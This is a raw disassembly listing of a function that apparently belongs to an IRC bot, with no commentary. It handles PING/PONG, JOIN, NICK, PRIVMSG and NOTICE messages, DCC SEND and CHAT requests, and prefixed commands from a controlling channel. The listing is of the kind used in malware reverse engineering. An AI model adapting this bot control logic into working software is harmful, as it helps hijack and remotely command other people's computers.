var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = byte ptr -1508h
var_14F8 = byte ptr -14F8h
var_1478 = byte ptr -1478h
var_13F8 = dword ptr -13F8h
var_13F0 = dword ptr -13F0h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = byte ptr -13D8h
var_1358 = byte ptr -1358h
var_12D8 = byte ptr -12D8h
var_1258 = dword ptr -1258h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1234 = byte ptr -1234h
var_11B4 = byte ptr -11B4h
var_1134 = dword ptr -1134h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1124 = dword ptr -1124h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1114 = dword ptr -1114h
var_1110 = byte ptr -1110h
var_1090 = byte ptr -1090h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1000 = dword ptr -1000h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = byte ptr -0FECh
var_F6C = dword ptr -0F6Ch
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = byte ptr -0F58h
var_ED8 = dword ptr -0ED8h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = byte ptr -0EC4h
var_E44 = dword ptr -0E44h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = byte ptr -0E34h
var_E24 = byte ptr -0E24h
var_E04 = byte ptr -0E04h
var_D84 = dword ptr -0D84h
var_D80 = byte ptr -0D80h
var_D00 = byte ptr -0D00h
var_C80 = dword ptr -0C80h
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = byte ptr -0C5Ch
var_BDC = dword ptr -0BDCh
var_BD8 = dword ptr -0BD8h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = byte ptr -0A90h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4C8 = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_338 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
var_308 = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = byte ptr -2C4h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 568Ch
call sub_41C500
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
mov [ebp+var_AC], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C8], ebx
call sub_41BF70
push 1Bh
lea eax, [ebp+var_338]
push [ebp+arg_10]
push eax
call sub_41BFD0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_401F75
push esi
lea eax, [ebp+var_428C]
push ebx
push eax
call sub_41BF70
dec esi
lea eax, [ebp+var_428C]
push esi
push [ebp+arg_0]
push eax
call sub_41BFD0
lea eax, [ebp+var_428C]
push offset asc_42CDC4 ; " :"
push eax
call sub_41C2E0
mov [ebp+var_C], eax
lea eax, [ebp+var_428C]
push esi
push eax
lea eax, [ebp+var_4EF8]
push eax
call sub_41BFD0
mov esi, offset asc_42CDC0 ; " "
lea eax, [ebp+var_4EF8]
push esi
push eax
call sub_41CAD4
add esp, 34h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+var_A8], 1Fh
loc_401BA0: ; CODE XREF: sub_401ACD+E7j
push esi
push ebx
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A8]
pop ecx
jnz short loc_401BA0
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_401F75
cmp [ebp+var_8C], ebx
jz loc_401F75
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_401BEE: ; CODE XREF: sub_401ACD+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_401C1A
cmp byte ptr [eax], 2Dh
jnz short loc_401C22
cmp [eax+2], bl
jnz short loc_401C22
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401C1A: ; CODE XREF: sub_401ACD+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401BEE
loc_401C22: ; CODE XREF: sub_401ACD+12Aj
; sub_401ACD+12Fj
cmp [ebp+var_8ED], bl
jz short loc_401C2D
mov [ebp+var_8], edi
loc_401C2D: ; CODE XREF: sub_401ACD+15Bj
cmp [ebp+var_8F2], bl
jz short loc_401C3B
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401C3B: ; CODE XREF: sub_401ACD+166j
cmp byte ptr [esi], 0Ah
jz short loc_401C75
push 7Fh
lea eax, [ebp+var_E04]
push esi
push eax
call sub_41BFD0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C4]
push eax
call sub_41BFD0
lea eax, [ebp+var_C4]
push offset asc_42CDBC ; "!"
push eax
call sub_41CAD4
add esp, 20h
loc_401C75: ; CODE XREF: sub_401ACD+171j
push esi
push offset aPing ; "PING"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401CC6
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_409823
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401D6A
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
jmp loc_401D6A
; ---------------------------------------------------------------------------
loc_401CC6: ; CODE XREF: sub_401ACD+1B7j
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4097D7
push esi
push offset a005 ; "005"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4097D7
push esi
push offset a302 ; "302"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401D2E
push offset a@ ; "@"
push [ebp+var_84]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401D6A
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_41BFD0
jmp short loc_401D67
; ---------------------------------------------------------------------------
loc_401D2E: ; CODE XREF: sub_401ACD+238j
push esi
push offset a433 ; "433"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401D71
push ebx
push dword_4290A0
push dword_42909C
push [ebp+arg_10]
call sub_40AE84
add esp, 10h
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
loc_401D67: ; CODE XREF: sub_401ACD+25Fj
add esp, 0Ch
loc_401D6A: ; CODE XREF: sub_401ACD+1D8j
; sub_401ACD+1F4j ...
mov eax, edi
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_401D71: ; CODE XREF: sub_401ACD+270j
mov esi, [ebp+arg_18]
mov [ebp+var_A8], 3
mov edi, 80h
loc_401D83: ; CODE XREF: sub_401ACD+2DBj
lea eax, [ebp+var_E04]
push eax
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401DA0
mov [ebp+var_A4], 1
loc_401DA0: ; CODE XREF: sub_401ACD+2C7j
add esi, edi
dec [ebp+var_A8]
jnz short loc_401D83
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401E9A
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_401DCF: ; CODE XREF: sub_401ACD+392j
cmp [esi], bl
jz loc_401E5A
push 7Fh
lea eax, [ebp+var_E04]
push esi
push eax
call sub_41BFD0
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_401E5A
cmp [ebp+var_84], ebx
jz short loc_401E5A
push [ebp+var_84]
lea eax, [ebp+var_C4]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401E5A
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CD50
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_409823
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
add esp, 14h
loc_401E5A: ; CODE XREF: sub_401ACD+304j
; sub_401ACD+324j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_401DCF
push [ebp+var_84]
push [ebp+arg_10]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401F75
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401E8D: ; CODE XREF: sub_401ACD+5F6j
; sub_401ACD+8B9j ...
push [ebp+arg_4]
call sub_409823
jmp loc_404260
; ---------------------------------------------------------------------------
loc_401E9A: ; CODE XREF: sub_401ACD+2F2j
push esi
push offset aNick ; "NICK"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401FDD
mov eax, [ebp+var_88]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_401EC3: ; CODE XREF: sub_401ACD+448j
lea eax, [ebp+var_E04]
push eax
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401F10
lea eax, [ebp+var_E04]
push 21h
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_401F10
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_41C890
push [ebp+arg_1C]
push edi
call sub_41C8A0
add esp, 10h
mov edi, 80h
loc_401F10: ; CODE XREF: sub_401ACD+407j
; sub_401ACD+41Ej
add esi, edi
dec [ebp+arg_0]
jnz short loc_401EC3
lea eax, [ebp+var_C4]
test eax, eax
jz short loc_401F75
cmp [ebp+arg_24], ebx
jz short loc_401F75
push [ebp+arg_10]
lea eax, [ebp+var_C4]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401F4D
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_41BFD0
jmp loc_4036A2
; ---------------------------------------------------------------------------
loc_401F4D: ; CODE XREF: sub_401ACD+46Cj
mov edi, [ebp+arg_18]
xor esi, esi
loc_401F52: ; CODE XREF: sub_401ACD+4A6j
cmp [edi], bl
jz short loc_401F69
lea eax, [ebp+var_E04]
push eax
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_401F7D
loc_401F69: ; CODE XREF: sub_401ACD+487j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401F52
loc_401F75: ; CODE XREF: sub_401ACD+5Bj
; sub_401ACD+F1j ...
push 1
loc_401F77: ; CODE XREF: sub_401ACD+2A1Ej
pop eax
loc_401F78: ; CODE XREF: sub_401ACD+29Fj
; sub_401ACD+2A40j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401F7D: ; CODE XREF: sub_401ACD+49Aj
lea eax, [ebp+var_E04]
push 21h
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz short loc_401F75
push eax
call sub_41B9C0
push [ebp+arg_24]
mov edi, eax
call sub_41B9C0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_401F75
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_41C266
push ebx
lea eax, [ebp+var_45F0]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_409869
add esp, 24h
jmp short loc_401F75
; ---------------------------------------------------------------------------
loc_401FDD: ; CODE XREF: sub_401ACD+3DCj
push esi
push offset aPart ; "PART"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_401FFF
push esi
push offset aQuit ; "QUIT"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402026
loc_401FFF: ; CODE XREF: sub_401ACD+51Fj
mov edi, [ebp+arg_18]
xor esi, esi
loc_402004: ; CODE XREF: sub_401ACD+557j
cmp [edi], bl
jz short loc_40201A
push [ebp+var_90]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_402067
loc_40201A: ; CODE XREF: sub_401ACD+539j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402004
loc_402026: ; CODE XREF: sub_401ACD+530j
push [ebp+var_8C]
push offset a353 ; "353"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4020C8
push [ebp+var_80]
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40205A
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40205A: ; CODE XREF: sub_401ACD+582j
push [ebp+var_80]
push offset unk_42CCFC
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_402067: ; CODE XREF: sub_401ACD+54Bj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CCDC
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push [ebp+var_8C]
push offset aPart ; "PART"
call sub_41CA50
add esp, 18h
test eax, eax
jnz loc_401F75
lea eax, [ebp+var_2C4]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_4020C8: ; CODE XREF: sub_401ACD+56Dj
push [ebp+var_8C]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_41CA50
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40211C
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40211C
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
cmp dword_429088, ebx
jz loc_409644
loc_40211C: ; CODE XREF: sub_401ACD+615j
; sub_401ACD+627j
push [ebp+var_8C]
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4022A2
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4022A2
mov eax, [ebp+var_84]
inc [ebp+var_80]
push 4
mov [ebp+var_88], eax
pop esi
mov [ebp+var_AC], esi
loc_402160: ; CODE XREF: sub_401ACD+891j
; sub_401ACD+8CDj ...
shl esi, 2
mov eax, [ebp+esi+var_90]
lea edi, [ebp+esi+var_90]
push eax
push offset dword_42CCC0
mov [ebp+arg_8], eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40253B
push [ebp+esi+var_8C]
push offset aSend_0 ; "SEND"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402402
cmp [ebp+var_A4], ebx
jz loc_4023DB
push [ebp+esi+var_88]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp+var_1B84]
push edi
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_1B98]
push [ebp+esi+var_84]
push edi
push eax
call sub_41C266
push [ebp+esi+var_80]
call sub_41C159
mov [ebp+var_1A00], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1BA0], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_1A80]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_19F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F4], eax
lea eax, [ebp+var_1A80]
push eax
lea eax, [ebp+var_1B84]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CC84
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_19FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1BA0]
push ebx
push eax
push offset loc_416563
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, [ebp+var_19FC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz loc_4023CA
loc_40228C: ; CODE XREF: sub_401ACD+7D3j
cmp [ebp+var_19F0], ebx
jnz loc_4082DE
push 32h
call near ptr 2680EF8h
nop
jmp short loc_40228C
; ---------------------------------------------------------------------------
loc_4022A2: ; CODE XREF: sub_401ACD+65Fj
; sub_401ACD+675j
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4022BB
mov [ebp+var_4], 1
loc_4022BB: ; CODE XREF: sub_401ACD+7E5j
cmp [ebp+var_88], ebx
jz loc_401F75
push offset dword_42CC80
push [ebp+var_88]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4022E2
cmp [ebp+var_4], ebx
jz short loc_4022EE
loc_4022E2: ; CODE XREF: sub_401ACD+80Ej
lea eax, [ebp+var_C4]
mov [ebp+var_88], eax
loc_4022EE: ; CODE XREF: sub_401ACD+813j
cmp [ebp+var_84], ebx
jz loc_401F75
inc [ebp+var_84]
jz short loc_40233A
cmp [ebp+arg_10], ebx
jz short loc_40233A
lea eax, [ebp+var_338]
push eax
call sub_41B9C0
push eax
lea eax, [ebp+var_338]
push [ebp+var_84]
push eax
call sub_41C850
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_AC], esi
jmp short loc_402340
; ---------------------------------------------------------------------------
loc_40233A: ; CODE XREF: sub_401ACD+833j
; sub_401ACD+838j
mov esi, [ebp+var_AC]
loc_402340: ; CODE XREF: sub_401ACD+86Bj
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_401F75
push edi
push offset dword_42CC74
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402160
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz short loc_40238B
mov eax, dword_4CB888
mov eax, off_429160[eax*4]
cmp [eax], bl
jz short loc_40238B
push eax
push ecx
push offset dword_42CC58
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_40238B: ; CODE XREF: sub_401ACD+8A0j
; sub_401ACD+8B0j
push edi
push offset dword_42CC50
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402160
mov eax, [ebp+esi*4+var_8C]
cmp eax, ebx
jz loc_402160
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz loc_402160
push eax
push ecx
push offset dword_42CC38
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_4023CA: ; CODE XREF: sub_401ACD+7B9j
; sub_401ACD+76B7j
nop
call near ptr 269086Bh
push eax
push offset unk_42CBFC
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_4023DB: ; CODE XREF: sub_401ACD+6DDj
lea eax, [ebp+var_C4]
push eax
push [ebp+esi+var_88]
push offset unk_42CBB8
loc_4023EE: ; CODE XREF: sub_401ACD+7C19j
; sub_401ACD+7C80j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 10h
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_402402: ; CODE XREF: sub_401ACD+6D1j
push [ebp+esi+var_8C]
push offset aChat ; "CHAT"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402551
cmp [ebp+var_A4], ebx
jz loc_40252A
push 1Bh
call sub_40B602
test eax, eax
pop ecx
jnz loc_402519
push [ebp+esi+var_84]
lea eax, [ebp+var_2AAC]
push offset aS_1 ; "%s"
push eax
call sub_41C266
push [ebp+esi+var_80]
call sub_41C159
mov [ebp+var_2914], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB4], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_2994]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_290C], eax
mov eax, [ebp+var_8]
mov [ebp+var_2908], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CB90
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Bh
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_2910], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB4]
push ebx
push eax
push offset dword_416000
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, [ebp+var_2910]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_402508
loc_4024F2: ; CODE XREF: sub_401ACD+A39j
cmp [ebp+var_2904], ebx
jnz loc_4082DE
push 32h
nop
call near ptr 2680EF8h
jmp short loc_4024F2
; ---------------------------------------------------------------------------
loc_402508: ; CODE XREF: sub_401ACD+A23j
nop
call near ptr 269086Bh
push eax
push offset unk_42CB58
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_402519: ; CODE XREF: sub_401ACD+966j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CB28
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_40252A: ; CODE XREF: sub_401ACD+956j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CAF4
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_40253B: ; CODE XREF: sub_401ACD+6B6j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_429094
mov [edi], ecx
jnz loc_401F75
loc_402551: ; CODE XREF: sub_401ACD+94Aj
mov edi, [edi]
push edi
push offset aC ; "c"
mov [ebp+arg_8], edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40964C
push edi
push offset aK ; "k"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40964C
cmp [ebp+var_A4], ebx
jnz short loc_4025A2
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
loc_4025A2: ; CODE XREF: sub_401ACD+AB9j
cmp [ebp+arg_28], ebx
jnz loc_409644
xor edi, edi
cmp dword_4294CC, ebx
jle loc_402757
mov [ebp+arg_20], offset dword_43DB90
loc_4025C0: ; CODE XREF: sub_401ACD+B12j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_4025E6
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_4294CC
jl short loc_4025C0
jmp loc_402757
; ---------------------------------------------------------------------------
loc_4025E6: ; CODE XREF: sub_401ACD+B02j
push offset asc_42CDC4 ; " :"
push [ebp+arg_0]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F75
mov cl, byte_429094
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_429094
mov [eax+3], cl
lea ecx, dword_43DBA8[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41BFD0
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_40263B: ; CODE XREF: sub_401ACD+C1Fj
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d-"
push eax
call sub_41C266
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
test eax, eax
jz short loc_4026A7
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_4026A7
lea eax, dword_43DB90[edi]
push eax
call sub_41B9C0
add [ebp+var_C], eax
pop ecx
jz short loc_4026E2
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4026E2
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 0Ch
jmp short loc_4026E2
; ---------------------------------------------------------------------------
loc_4026A7: ; CODE XREF: sub_401ACD+B96j
; sub_401ACD+B9Dj
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_4026E2
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_41BFD0
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
